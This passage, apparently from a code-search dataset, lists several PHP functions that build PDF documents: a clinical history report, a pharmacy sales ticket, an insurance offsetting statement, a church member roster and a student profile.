$pdf->Cell(25,5,utf8_decode(utf8_encode($rst[\"telefono\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('CELULAR: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(25,5,utf8_decode(utf8_encode($rst[\"celular\"])),1,1,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(40,5,utf8_decode('FECHA NACIMIENTO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(65,5,utf8_decode(utf8_encode($rst[\"fechanacimiento\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('EM@IL: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(55,5,utf8_decode(utf8_encode($rst[\"email\"])),1,1,'L',0);\r\n\r\n $pdf->Ln(4);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(15,5,utf8_decode('TALLA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"talla\"])),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(15,5,utf8_decode('PESO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"peso\"])),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(15,5,utf8_decode('GRASA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"grasa\"])),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(40,5,utf8_decode('PRESION ARTERIAL: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"presionarterial\"])),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('TEMPERATURA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"temperatura\"])),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(15,5,utf8_decode('PULSO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"pulso\"])),1,1,'C',0);\r\n\r\n $pdf->Ln(4);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(0,5,utf8_decode('MOTIVO CONSULTA: '),0,1,'L',0);\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->MultiCell(0, 5, $rst[\"motivoconsulta\"], 1, \"J\", 0);\r\n\r\n $pdf->Ln(2);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(0,5,utf8_decode('EXAMEN FISICO: '),0,1,'L',0);\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->MultiCell(0, 5, $rst[\"examenfisico\"], 1, \"J\", 0);\r\n\r\n $pdf->Ln(2);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(0,5,utf8_decode('TRATAMIENTO: '),0,1,'L',0);\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->MultiCell(0, 5, $rst[\"tratamiento\"], 1, \"J\", 0);\r\n\r\n $pdf->Ln(2);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(0,5,utf8_decode('OBSERVACIONES: '),0,1,'L',0);\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->MultiCell(0, 5, $rst[\"observaciones\"], 1, \"J\", 0);\r\n\r\n //Fecha Impresion\r\n $pdf->Ln(1);\r\n $pdf->SetFont('Arial','B',6);\r\n $pdf->Cell(20,4,utf8_decode('Fecha Impresión:'),0,0,'L',0);\r\n $pdf->SetFont('Arial','',6);\r\n $pdf->Cell(20,4,\" \".utf8_decode($fechaimpresion),0,1,'L',0);\r\n\r\n// $pdf->Ln(260 - $pdf->GetY());\r\n\r\n\r\n for($x = 0; $x < (260 - $pdf->GetY()); $x++){\r\n $pdf->Ln(10);\r\n }\r\n\r\n// $salto = 270 - $pdf->GetY();\r\n// $pdf->Cell(0,$salto,\"\",1,1,'L',0);\r\n\r\n $pdf->setAutoPagebreak(true,50);\r\n\r\n endforeach;\r\n\r\n\r\n }else{\r\n //Set x and y position for the main text, reduce font size and write content\r\n $pdf->SetXY (30,100);\r\n $pdf->SetFontSize(8);\r\n $pdf->Write(5,utf8_decode(' No existe Informacion registrada'));\r\n }\r\n\r\n //Pie Pagina\r\n $pdf->Footer();\r\n\r\n //Para poner la Pagina 1/(1...n)\r\n $pdf->AliasNbPages();\r\n\r\n //Output the document\r\n $fecha = date(\"YmdHis\").'.pdf';\r\n $pdf->Output($fecha,'D');\r\n\r\n }", "title": "" }, { "docid": "b809c41e293847b06d960ae857a39f7c", "score": "0.69968903", "text": "public function DorcasBautizadasPdf(){\n $persona = DB::table('personas')\n ->select(DB::raw('nombres, apellidos, fecha_nacimiento, (YEAR(CURDATE())-YEAR(fecha_nacimiento))+ IF(DATE_FORMAT(CURDATE(),\"%m-%d\") >= DATE_FORMAT(fecha_nacimiento,\"%m-%d\"), 0 , -1) as edad_actual, DATE_FORMAT(fecha_nacimiento,\"%m\") as mes, DATE_FORMAT(fecha_nacimiento,\"%d\") as dia')) \n ->where([[\"bautismo\", \"si\"], [\"sexo\", \"femenino\"], [\"estado\", \"activo\"] ])\n ->orderBy(\"mes\")\n ->orderBy(\"dia\")\n ->get();\n\n return \\PDF::loadView('secretaria.pdf.pdfDrocasBautizadas', compact(\"persona\"))\n ->setPaper('a4', 'portrait')\n ->stream('Sectetaría.pdf');\n}", "title": "" }, { "docid": "9d5346c95b7ae646e410db763445701b", "score": "0.69932336", "text": "public function ticket_pdf($id_venta) {\r\n $this->load->library('pdf');\r\n\r\n //cargando los productos vendidos\r\n\t\t$datos['listadoProductos'] = $this->Ventaproductos_model->listar($id_venta);\r\n\r\n\t\t//cargandos los datos generales de la venta\r\n\t\t$datos['datosVenta'] = $this->Ventas_model->datos_por_id($id_venta);\r\n\r\n // Creacion del PDF\r\n\r\n /*\r\n * Se crea un objeto de la clase Pdf, recuerda que la clase Pdf\r\n * heredó todos las variables y métodos de fpdf\r\n */\r\n $this->pdf = new Pdf();\r\n // Agregamos una página\r\n $this->pdf->AddPage('P',array(75,250));\r\n // Define el alias para el número de página que se imprimirá en el pie\r\n $this->pdf->AliasNbPages();\r\n\r\n /* Se define el titulo, márgenes izquierdo, derecho y\r\n * el color de relleno predeterminado\r\n */\r\n $this->pdf->SetTitle(\"Tickets\");\r\n $this->pdf->SetLeftMargin(5);\r\n $this->pdf->SetRightMargin(5);\r\n $this->pdf->SetFillColor(200,200,200);\r\n\r\n $this->pdf->SetFont('Arial','',8);\r\n\r\n $this->pdf->Line(5,5,70,5);\r\n $this->pdf->Line(5,20,70,20);\r\n $this->pdf->Line(5,5,5,20);\r\n $this->pdf->Line(70,5,70,20);\r\n \r\n $this->pdf->Cell(55,0,'FACTURA POR TERCEROS',0,0,'C');\r\n $this->pdf->Ln('5');\r\n $this->pdf->SetFont('Arial','',8);\r\n \r\n $this->pdf->Cell(65,2,'PHARMA ZERO',0,0,'C');\r\n $this->pdf->Ln('7');\r\n\r\n // Se define el formato de fuente: Arial, negritas, tamaño 10\r\n $this->pdf->SetFont('Arial', 'B', 10);\r\n\r\n $this->pdf->Cell(65,5,'Farmacia Ejemplo',0,0,'C');\r\n $this->pdf->Ln('5');\r\n $this->pdf->SetFont('Arial', '', 8);\r\n $this->pdf->Cell(65,5,'Calle: ejemplo',0,0,'C');\r\n $this->pdf->Ln('5');\r\n $this->pdf->Cell(65,5,'Tel: 77777777',0,0,'C');\r\n $this->pdf->Ln('5');\r\n $this->pdf->Cell(65,5,utf8_decode('POTOSÍ - BOLIVIA'),0,0,'C');\r\n $this->pdf->Ln('5');\r\n $this->pdf->Cell(65,5,'NIT: 1111111111 Factura No.: '.$id_venta,0,0,'C');\r\n $this->pdf->Ln('5');\r\n $this->pdf->Cell(65,5,utf8_decode('Autorización No.: 11111111110001'),0,0,'C');\r\n $this->pdf->Ln('5');\r\n $this->pdf->Cell(65,5,utf8_decode('Actividad Económica: VENTA DE MEDICAMENTOS'),0,0,'C');\r\n $this->pdf->Ln('5');\r\n $this->pdf->Cell(65,5,utf8_decode('Fecha Emisión: '.$datos['datosVenta'][0]->fecha_venta),0,0,'L');\r\n $this->pdf->Ln('5');\r\n $this->pdf->Cell(65,5,utf8_decode('Cliente: '.$datos['datosVenta'][0]->nombre_cliente),0,0,'L');\r\n $this->pdf->Ln('5');\r\n $this->pdf->Cell(65,5,utf8_decode('NIT/CI: '.$datos['datosVenta'][0]->nit_cliente),0,0,'L');\r\n $this->pdf->Ln('5');\r\n $this->pdf->Cell(65,5,utf8_decode('Emitido por: '.$datos['datosVenta'][0]->nombre_usuario),0,0,'L');\r\n $this->pdf->Ln('5');\r\n $this->pdf->SetFont('Arial', '', 12);\r\n $this->pdf->Cell(60,5,'E-TICKET',0,0,'C');\r\n $this->pdf->Ln('5');\r\n $this->pdf->SetFont('Arial', '', 8);\r\n\r\n $this->pdf->Line(5,83,70,83);\r\n $this->pdf->Line(5,88,70,88);\r\n\r\n $this->pdf->Cell(12,7,'Cantidad','TB',0,'C',0);\r\n $this->pdf->Cell(33,7,'Producto','TB',0,'C',0);\r\n $this->pdf->Cell(10,7,'Precio','TB',0,'C',0);\r\n $this->pdf->Cell(10,7,'Importe','TB',0,'C',0);\r\n $this->pdf->Ln('7');\r\n foreach ($datos['listadoProductos'] as $data) {\r\n \r\n // Se imprimen los datos de cada alumno\r\n $this->pdf->Cell(12,5,$data->cantidad_ventaproducto,'B',0,'C',0);\r\n $this->pdf->Cell(33,5,$data->nombre_producto,'B',0,'C',0);\r\n $this->pdf->Cell(10,5,number_format($data->precio_ventaproducto, 2, ',', ''),'B',0,'C',0);\r\n $this->pdf->Cell(10,5,number_format($data->importe_ventaproducto, 2, ',', ''),'B',0,'C',0); \r\n //Se agrega un salto de linea\r\n $this->pdf->Ln('5');\r\n }\r\n $this->pdf->Cell(55,5,'TOTAL',0,0,'R',0);\r\n $this->pdf->Cell(10,5,number_format($datos['datosVenta'][0]->importetotal_venta, 2, ',', ''),0,0,'C',0);\r\n\r\n $this->pdf->Ln('5');\r\n $this->pdf->Cell(65,5,'SON: '.$this->numero_letras->ValorEnLetras($datos['datosVenta'][0]->importetotal_venta, \"\"),0,0,'L',0);\r\n $this->pdf->Ln('5');\r\n $this->pdf->Cell(65,5,'CODIGO DE CONTROL:',0,0,'L',0);\r\n $this->pdf->Ln('5');\r\n $this->pdf->Cell(65,5,'FECHA LIMITE EMISION:',0,0,'L',0);\r\n $this->pdf->Ln('5');\r\n\t\t$this->pdf->Image(base_url().'/tmp/qr_codes/qr_code_test.png',20);\r\n\r\n\t\t$this->pdf->SetFont('Arial','B',8);\r\n $this->pdf->Cell(65,10,'\"ESTA FACTURA CONTRIBUYE AL DESARROLLO ',0,0,'C');\r\n $this->pdf->Ln('5');\r\n $this->pdf->Cell(65,10,utf8_decode('DEL PAIS. EL USO ILICITO DE ESTA SERÁ '),0,0,'C');\r\n $this->pdf->Ln('5');\r\n $this->pdf->Cell(65,10,'SANCIONADO DE ACUERDO A LEY\"',0,0,'C');\r\n\r\n $this->pdf->SetFont('Arial','',8);\r\n $this->pdf->Ln('7'); \r\n $this->pdf->Cell(65,10,'No reembolsable',0,0,'C');\r\n $this->pdf->Ln('5');\r\n $this->pdf->Cell(65,10,'GRACIAS POR SU PREFERENCIA',0,0,'C');\r\n\r\n $this->pdf->SetFont('Arial','B',8);\r\n $this->pdf->Ln('7');\r\n $this->pdf->Cell(65,10,'\"system PHARMA ZERO\"',0,0,'C');\r\n\r\n //$this->pdf->Line(5,85,70,85);\r\n //$this->pdf->Line(5,90,70,90);\r\n //$this->pdf->Line(5,85,85,90);\r\n //$this->pdf->Line(70,85,70,90);\r\n\r\n /*\r\n * TITULOS DE COLUMNAS\r\n *\r\n * $this->pdf->Cell(Ancho, Alto,texto,borde,posición,alineación,relleno);\r\n */\r\n\r\n /*$this->pdf->Cell(15,7,'NUM','TBL',0,'C','1');\r\n $this->pdf->Cell(25,7,'PATERNO','TB',0,'C','1');\r\n $this->pdf->Cell(25,7,'MATERNO','TB',0,'C','1');\r\n $this->pdf->Cell(25,7,'NOMBRE','TB',0,'C','1');\r\n $this->pdf->Cell(40,7,'FECHA DE NACIMIENTO','TB',0,'C','1');\r\n $this->pdf->Cell(25,7,'GRADO','TB',0,'C','1');\r\n $this->pdf->Cell(25,7,'GRUPO','TBR',0,'C','1');\r\n $this->pdf->Ln(7);\r\n // La variable $x se utiliza para mostrar un número consecutivo\r\n $x = 1;\r\n foreach ($alumnos as $alumno) {\r\n // se imprime el numero actual y despues se incrementa el valor de $x en uno\r\n $this->pdf->Cell(15,5,$x++,'BL',0,'C',0);\r\n // Se imprimen los datos de cada alumno\r\n $this->pdf->Cell(25,5,$alumno->paterno,'B',0,'C',0);\r\n $this->pdf->Cell(25,5,$alumno->materno,'B',0,'C',0);\r\n $this->pdf->Cell(25,5,$alumno->nombre,'B',0,'C',0);\r\n $this->pdf->Cell(40,5,$alumno->fec_nac,'B',0,'C',0);\r\n $this->pdf->Cell(25,5,$alumno->grado,'B',0,'C',0);\r\n $this->pdf->Cell(25,5,$alumno->grupo,'BR',0,'C',0);\r\n //Se agrega un salto de linea\r\n $this->pdf->Ln(5);\r\n }*/\r\n /*\r\n * Se manda el pdf al navegador\r\n *\r\n * $this->pdf->Output(nombredelarchivo, destino);\r\n *\r\n * I = Muestra el pdf en el navegador\r\n * D = Envia el pdf para descarga\r\n *\r\n */\r\n $this->pdf->Output(\"ticket\".$id_venta.\".pdf\", 'I');\r\n }", "title": "" }, { "docid": "7eae27fa9f9af968070bf6b0053ead29", "score": "0.69927126", "text": "function generisi_pdf_za_kompenzacije($podaci_partnera, $rezultat_stavke) \n{\n \n require_once ('../pdf/tcpdf/config/lang/srp.php');\n require_once ('../pdf/tcpdf/tcpdf.php');\n\n //KREIRANJE PDF DOKUMENTA\n $pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);\n\n //PODESAVANJE INFORMACIJA O DOKUMENTU\n $pdf->SetCreator(PDF_CREATOR);\n $pdf->SetAuthor('AMS Osiguranje');\n $pdf->SetTitle('IZJAVA O PREBIJANJU - KOMPENZACIJI BR.' .$podaci_partnera['broj_kompenzacije'], 'B');\n $pdf->SetSubject('');\n $pdf->SetKeywords('');\n $pdf->setPrintHeader(false);\n $pdf->setPrintFooter(false);\n\n //PODESAVANJE DEFAULT MONOSPACE FONTA\n $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);\n\n //PODESAVANJE MARGINA\n $pdf->SetTopMargin(10);\n $pdf->SetFooterMargin(10);\n $pdf->SetLeftMargin(10);\n $pdf->SetRightMargin(10);\n\n //PODESAVANJE JOS NEKIH PARAMETARA\n $pdf->setPageOrientation('P','',0.0);\n $pdf->SetFontSubsetting(true);\n $pdf->SetFillColor(255,255,255);\n $pdf->SetTextColor(0,0,0);\n\n //OPCIONA PODESAVANJA JEZIKA\n if (@file_exists(dirname(__FILE__).'/lang/eng.php')) {\n require_once(dirname(__FILE__).'/lang/eng.php');\n $pdf->setLanguageArray($l);\n }\n\n //DODAVANJE STRANICE I PODESAVANJE FONTA\n $pdf->AddPage();\n $pdf->SetFont('dejavusans', '', 10);\n\n // set auto page breaks\n //$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);\n\n //KREIRANJE NASLOVA PDF DOKUMENTA\n $naslov_pdfa = 'IZJAVA O PREBIJANJU - KOMPENZACIJI BR.' .$podaci_partnera['broj_kompenzacije'];\n\n $pdf->Write(15, $naslov_pdfa, '', 0, 'C', true, 0, false, false, 0);\n\n\n //VARIJABLE SA PODACIMA O POVERIOCU\n $naziv_poverioca = 'AMS OSIGURANJE A.D.O';\n $adresa_poverioca = 'RUZVELTOVA 16';\n $mesto_poverioca = 'BEOGRAD';\n $pib_poverioca = 100000563;\n $tekuci_racun_poverioca = '205-113757-63';\n $telefon_poverioca = '011/3084-926';\n\n //ENKODIRANJE IMENA PARTNERA IZ BAZE U UTF-8 FORMAT\n $ime_partnera = mb_convert_encoding($podaci_partnera['naziv'], 'UTF-8', 'ISO-8859-2');\n \n //VARIJABLE SA PODACIMA O DUZNIKU\n $naziv_duznika = $ime_partnera;\n $podaci_partnera['adresa'] ? $adresa_duznika = $podaci_partnera['adresa'] : $adresa_duznika = '---';\n $podaci_partnera['mesto'] ? $mesto_duznika = $podaci_partnera['mesto'] : $mesto_duznika = '---';\n $podaci_partnera['partner'] ? $pib_duznika = $podaci_partnera['partner'] : $pib_duznika = '---';\n $podaci_partnera['tekracun'] ? $tekuci_racun_duznika = $podaci_partnera['tekracun'] : $tekuci_racun_duznika = '---';\n $podaci_partnera['telefon'] ? $telefon_duznika = $podaci_partnera['telefon'] : $telefon_duznika = '---';\n\n //ENKODIRANJE ADRESE PARTNERA IZ BAZE U UTF-8 FORMAT\n $adresa_partnera = mb_convert_encoding($adresa_duznika, 'UTF-8', 'ISO-8859-2');\n\n //KREIRANJE HTML TABELE SA PODACIMA O POVERIOCU I DUZNIKU\n $html .= '<table cellspacing=\"0\" cellpadding=\"5\" border=\"1\">\n <tr>\n <th align=\"center\"><strong>POVERILAC:</strong></th>\n <th align=\"center\"><strong>DUŽNIK:</strong></th>\n </tr>\n <tr>\n <td><strong>Naziv:</strong> '.$naziv_poverioca.' </td>\n <td><strong>Naziv:</strong> '.$ime_partnera.' </td>\n </tr>\n <tr>\n <td><strong>Adresa:</strong> '.$adresa_poverioca.'</td>\n <td><strong>Adresa:</strong> '.$adresa_partnera.'</td>\n </tr>\n <tr>\n <td><strong>Mesto:</strong> '.$mesto_poverioca.' </td>\n <td><strong>Mesto:</strong> '.$mesto_duznika.' </td>\n </tr>\n <tr>\n <td><strong>PIB:</strong> '.$pib_poverioca.' </td>\n <td><strong>PIB:</strong> '.$pib_duznika.' </td>\n </tr>\n <tr>\n <td><strong>Tekući račun:</strong> '.$tekuci_racun_poverioca.' </td>\n <td><strong>Tekući račun:</strong> '.$tekuci_racun_duznika.' </td>\n </tr>\n <tr>\n <td><strong>Telefon:</strong> '.$telefon_poverioca.' </td>\n <td><strong>Telefon:</strong> '.$telefon_duznika.' </td>\n </tr>\n </table>';\n\n\n //KREIRANJE TABELE SA TEKSTOM: NA OSNOVU ZAKONA...\n $html .= '<table cellspacing=\"0\" cellpadding=\"0\" border=\"0\">\n <tr>\n <td></td>\n </tr>\n <tr>\n <td></td>\n </tr>\n <tr>\n <td></td>\n </tr>\n <tr>\n <td>Na osnovu Zakona o obligacionim odnosima (Sl. list SRJ, br. 29/73, 39/85, 57/89, 31/93), dajemo izjavu da smo\n saglasni za prebijanje-kompenzaciju sledećih međusobno dospelih novčanih potraživanja:</td>\n </tr>\n <tr>\n <td></td>\n </tr>\n <tr>\n <td></td>\n </tr>\n </table>';\n\n\n //OTVARANJE TABELE SA STAVKAMA KOMPENZACIJE NA POTRAZNOJ STRANI I KREIRANJE ZAGLAVLJA\n $tabela_duguje = '<table cellspacing=\"0\" cellpadding=\"3\" border=\"1\" style=\"height: 100%;\">\n <tr>\n <th align=\"center\"><strong>Poverilačke obaveze prema dužniku:</strong></th>\n </tr>\n <tr>\n <td width=\"30%\" align=\"center\">Opis dokumenta</td>\n <td width=\"30%\" align=\"center\">Broj računa ili drugog dokumenta</td>\n <td width=\"10%\" align=\"center\">Dan <br>dospe-ća</td>\n <td width=\"30%\" align=\"center\">Iznos</td>\n </tr>';\n\n //OTVARANJE TABELE SA STAVKAMA KOMPENZACIJE NA DUGOVNOJ STRANI I KREIRANJE ZAGLAVLJA\n $tabela_potrazuje = '<table cellspacing=\"0\" cellpadding=\"3\" border=\"1\" style=\"height: 100%;\">\n <tr>\n <th align=\"center\"><strong>Dužničke obaveze prema poveriocu:</strong></th>\n </tr>\n <tr>\n <td width=\"30%\" align=\"center\">Opis dokumenta</td>\n <td width=\"30%\" align=\"center\">Broj računa ili drugog dokumenta</td>\n <td width=\"10%\" align=\"center\">Dan <br>dospe-ća</td>\n <td width=\"30%\" align=\"center\">Iznos</td>\n </tr>';\n \n //INICIJALIZACIJA SUME I BROJACA\n $suma_potrazuje = 0; \n $suma_duguje = 0; \n $brojac_potrazuje = 0;\n $brojac_duguje = 0;\n\n //ZA SVAKU STAVKU KOMPENZACIJE DOBIJENU IZ BAZE\n while ($stavke = pg_fetch_array($rezultat_stavke)) {\n\n //AKO JE POTRAZNI IZNOS VECI OD NULE,DODAJ STAVKU U POTRAZNU TABELU I UVECAJ SUMU\n if ($stavke['potrazuje'] > 0) {\n\n $brojac_potrazuje++;\n\n $suma_potrazuje += $stavke['potrazuje'];\n\n $tabela_potrazuje .= '<tr>\n <td width=\"30%\" height=\"35\" align=\"center\">' .$stavke['opisdok']. '</td>\n <td width=\"30%\" height=\"35\" align=\"center\">' .$stavke['brojdok']. '</td>\n <td width=\"10%\" height=\"35\" align=\"center\"></td>\n <td width=\"30%\" height=\"35\" align=\"right\">' .number_format($stavke['potrazuje'], 2). '</td>\n </tr>';\n }\n\n //AKO JE DUGOVNI IZNOS VECI OD NULE,DODAJ STAVKU U DUGOVNU TABELU I UVECAJ SUMU\n if ($stavke['duguje'] > 0) {\n\n $brojac_duguje++;\n\n $suma_duguje += $stavke['duguje'];\n\n $tabela_duguje .= '<tr>\n <td width=\"30%\" height=\"35\" align=\"center\">' .$stavke['opisdok']. '</td>\n <td width=\"30%\" height=\"35\" align=\"center\">' .$stavke['brojdok']. '</td>\n <td width=\"10%\" height=\"35\" align=\"center\"></td>\n <td width=\"30%\" height=\"35\" align=\"right\">' .number_format($stavke['duguje'], 2). '</td>\n </tr>';\n }\n \n } \n\n //AKO JE BROJ DUGOVNIH STAVKI VECI OD BROJA POTRAZNIH,IZRACUNAJ RAZLIKU\n if ($brojac_duguje > $brojac_potrazuje) {\n\n $razlika = $brojac_duguje - $brojac_potrazuje;\n\n //DODAJ PRAZNE REDOVE U POTRAZNU TABELU,DOK SE NE IZJEDNACI SA DUGOVNOM\n for ($i = 0; $i < $razlika; $i++) {\n\n $tabela_potrazuje .= '<tr>\n <td colspan=\"4\" height=\"35\"></td>\n </tr>';\n }\n }\n\n //AKO JE BROJ POTRAZNIH STAVKI VECI OD BROJA DUGOVNIH,IZRACUNAJ RAZLIKU\n if ($brojac_potrazuje > $brojac_duguje) {\n\n $razlika = $brojac_potrazuje - $brojac_duguje;\n\n //DODAJ PRAZNE REDOVE U DUGOVNU TABELU,DOK SE NE IZJEDNACI SA POTRAZNOM\n for ($i = 0; $i < $razlika; $i++) {\n\n $tabela_duguje .= '<tr>\n <td colspan=\"4\" height=\"35\"></td>\n </tr>';\n }\n }\n \n //PRETVARANJE SUME U ZELJENI FORMAT\n $suma_potrazuje = number_format($suma_potrazuje, 2);\n $suma_duguje = number_format($suma_duguje, 2);\n\n //PRIKAZI SUMU I ZATVORI POTRAZNU TABELU\n $tabela_potrazuje .= '<tr>\n <td width=\"63%\"><strong>UKUPNO:</strong></td>\n <td width=\"37%\" align=\"right\"><strong>' .$suma_potrazuje. '</strong></td>\n </tr>\n </table>';\n\n //PRIKAZI SUMU I ZATVORI DUGOVNU TABELU\n $tabela_duguje .= '<tr>\n <td width=\"63%\"><strong>UKUPNO:</strong></td>\n <td width=\"37%\" align=\"right\"><strong>' .$suma_duguje. '</strong></td>\n </tr>\n </table>';\n\n //DODAJ TABELE U HTML\n $html .= '<table >\n <tr>\n <td>' .$tabela_duguje.' </td>\n <td>' .$tabela_potrazuje. '</td>\n </tr>\n </table>';\n \n //AKO JE BROJ STAVKI SA BILO KOJE STRANE IZMEDJU 7 I 13, PREBACI OSTALI SADRZAJ NA NOVU STRANICU\n if (($brojac_potrazuje > 7 && $brojac_potrazuje < 12) || ($brojac_duguje > 7 && $brojac_potrazuje < 12)) {\n \n //UPIS HTML-A NA PRVU STRANICU\n $pdf->writeHTML($html, true, false, true, false, '');\n\n //DODAVANJE NOVE STRANICE\n $pdf->AddPage('P', 'A4');\n\n //KREIRANJE TABELE SA TEKSTOM: RAZLIKU (SALDO) OD... I DODAVANJE U HTML\n $html2 = '<table cellspacing=\"0\" cellpadding=\"0\" border=\"0\">\n <tr>\n <td></td>\n </tr>\n <tr>\n <td></td>\n </tr>\n <tr>\n <td></td>\n </tr>\n <tr>\n <td>Razliku (saldo) od ____________ / ___________ ( _____________________ / ______________________ ) dinara u NAŠU - VAŠU korist platiti u \n zakonskom roku, a najkasnije do ______ / ______ godine.</td>\n </tr>\n <tr>\n <td></td>\n </tr>\n <tr>\n <td>Dostavljaju se u 2 primerka, overene i potpisane izjave o kompenzaciji, s tim da se povratnom poštom 1 primerak vrati pošiljaocu \n radi sprovođenja odgovarajućih knjiženja</td>\n </tr>\n </table>';\n\n\n //KREIRANJE TABELE SA MESTIMA ZA PECAT I POTPISE I DODAVANJE U HTML\n $html2 .= '<table cellspacing=\"0\" cellpadding=\"5\" border=\"0\">\n <tr>\n <td></td>\n </tr>\n <tr>\n <td></td>\n </tr>\n <tr>\n <td width=\"35%\" align=\"center\">Odgovorno lice poverioca:</td>\n <td width=\"15%\" rowspan=\"3\" align=\"center\">M.P</td>\n <td width=\"35%\" align=\"center\">Odgovorno lice dužnika:</td>\n <td width=\"15%\" rowspan=\"3\" align=\"center\">M.P</td>\n </tr>\n <tr>\n <td width=\"35%\" align=\"center\">_________________________<br>potpis</td>\n <td width=\"35%\" align=\"center\">_________________________<br>potpis</td>\n </tr>\n <tr>\n <td width=\"35%\" align=\"center\">Datum: ___________________</td>\n <td width=\"35%\" align=\"center\">Datum: ___________________</td>\n </tr>\n </table>'; \n\n //UPIS HTML-A NA DRUGU STRANICU\n $pdf->writeHTML($html2, true, false, true, false, '');\n\n } \n\n //AKO BROJ STAVKI SA BILO KOJE STRANE MANJI OD 6,ILI VECI OD 13\n else {\n\n //KREIRANJE TABELE SA TEKSTOM: RAZLIKU (SALDO) OD... I DODAVANJE U HTML\n $html .= '<table cellspacing=\"0\" cellpadding=\"0\" border=\"0\">\n <tr>\n <td></td>\n </tr>\n <tr>\n <td></td>\n </tr>\n <tr>\n <td></td>\n </tr>\n <tr>\n <td>Razliku (saldo) od ____________ / ___________ ( _____________________ / ______________________ ) dinara u NAŠU - VAŠU korist platiti u \n zakonskom roku, a najkasnije do ______ / ______ godine.</td>\n </tr>\n <tr>\n <td></td>\n </tr>\n <tr>\n <td>Dostavljaju se u 2 primerka, overene i potpisane izjave o kompenzaciji, s tim da se povratnom poštom 1 primerak vrati pošiljaocu \n radi sprovođenja odgovarajućih knjiženja</td>\n </tr>\n </table>';\n\n\n //KREIRANJE TABELE SA MESTIMA ZA PECAT I POTPISE I DODAVANJE U HTML\n $html .= '<table cellspacing=\"0\" cellpadding=\"5\" border=\"0\">\n <tr>\n <td></td>\n </tr>\n <tr>\n <td></td>\n </tr>\n <tr>\n <td width=\"35%\" align=\"center\">Odgovorno lice poverioca:<br><br></td>\n <td width=\"15%\" rowspan=\"3\" align=\"center\">M.P</td>\n <td width=\"35%\" align=\"center\">Odgovorno lice dužnika:</td>\n <td width=\"15%\" rowspan=\"3\" align=\"center\">M.P</td>\n </tr>\n <tr>\n <td width=\"35%\" align=\"center\">_________________________<br>potpis</td>\n <td width=\"35%\" align=\"center\">_________________________<br>potpis</td>\n </tr>\n <tr>\n <td width=\"35%\" align=\"center\">Datum: ___________________</td>\n <td width=\"35%\" align=\"center\">Datum: ___________________</td>\n </tr>\n </table>'; \n\n //UPIS HTML-A NA PRVU STRANICU\n $pdf->writeHTML($html, true, false, true, false, '');\n }\n \n //OUTPUT PDF DOKUMENTA\n return $pdf->Output('izjava o kompenzaciji.pdf', 'I');\n}", "title": "" }, { "docid": "2bc89814e0d5f8123f14c29b6eaf3c4b", "score": "0.6989608", "text": "public function pdf()\n{\n $sensores= Sensor::all();\n // Send data to the view using loadView function of PDF facade\n $pdf = PDF::loadView('sensores.plantilla', compact('sensores'));\n // If you want to store the generated pdf to the server then you can use the store function\n $pdf->save(storage_path().'_filename.pdf');\n // Finally, you can download the file using download function\n return $pdf->download('sensores.pdf');\n}", "title": "" }, { "docid": "ae170460621d06e22f4d50664e48cb83", "score": "0.69754124", "text": "public function pdfPerfilEst($id)\n {\n\n //$persona=Persona::all();\n $persona = Persona::findOrFail($id);\n $carreras = Carrera::all();\n $estudiantes = Estudiante::all();\n $user = user::all();\n $departamento = Departamento::all();\n $facultades = Facultad::all();\n\n $pdf = \\PDF::loadview('ues.estudiantes.perfilEst', array('carreras' => $carreras, 'persona' => $persona, 'user' => $user, 'estudiantes' => $estudiantes, 'departamento' => $departamento, 'facultades' => $facultades))->setPaper('letter', 'portrait');\n return $pdf->stream('Perfil_Estudiante.pdf');\n }", "title": "" }, { "docid": "668efaab647d4136bd26d877855bb94d", "score": "0.6973422", "text": "public function getStrRptHistoriaClinicaPacienteMedico()\r\n {\r\n define('FPDF_FONTPATH',FONT_PATH);\r\n include_once ( CLASS_PATH . \"class.clfpdf.php\" );\r\n\r\n //Limpia el buffer si no sale un error\r\n ob_end_clean();\r\n\r\n $fechaimpresion = date(\"Y/m/d H:i:s 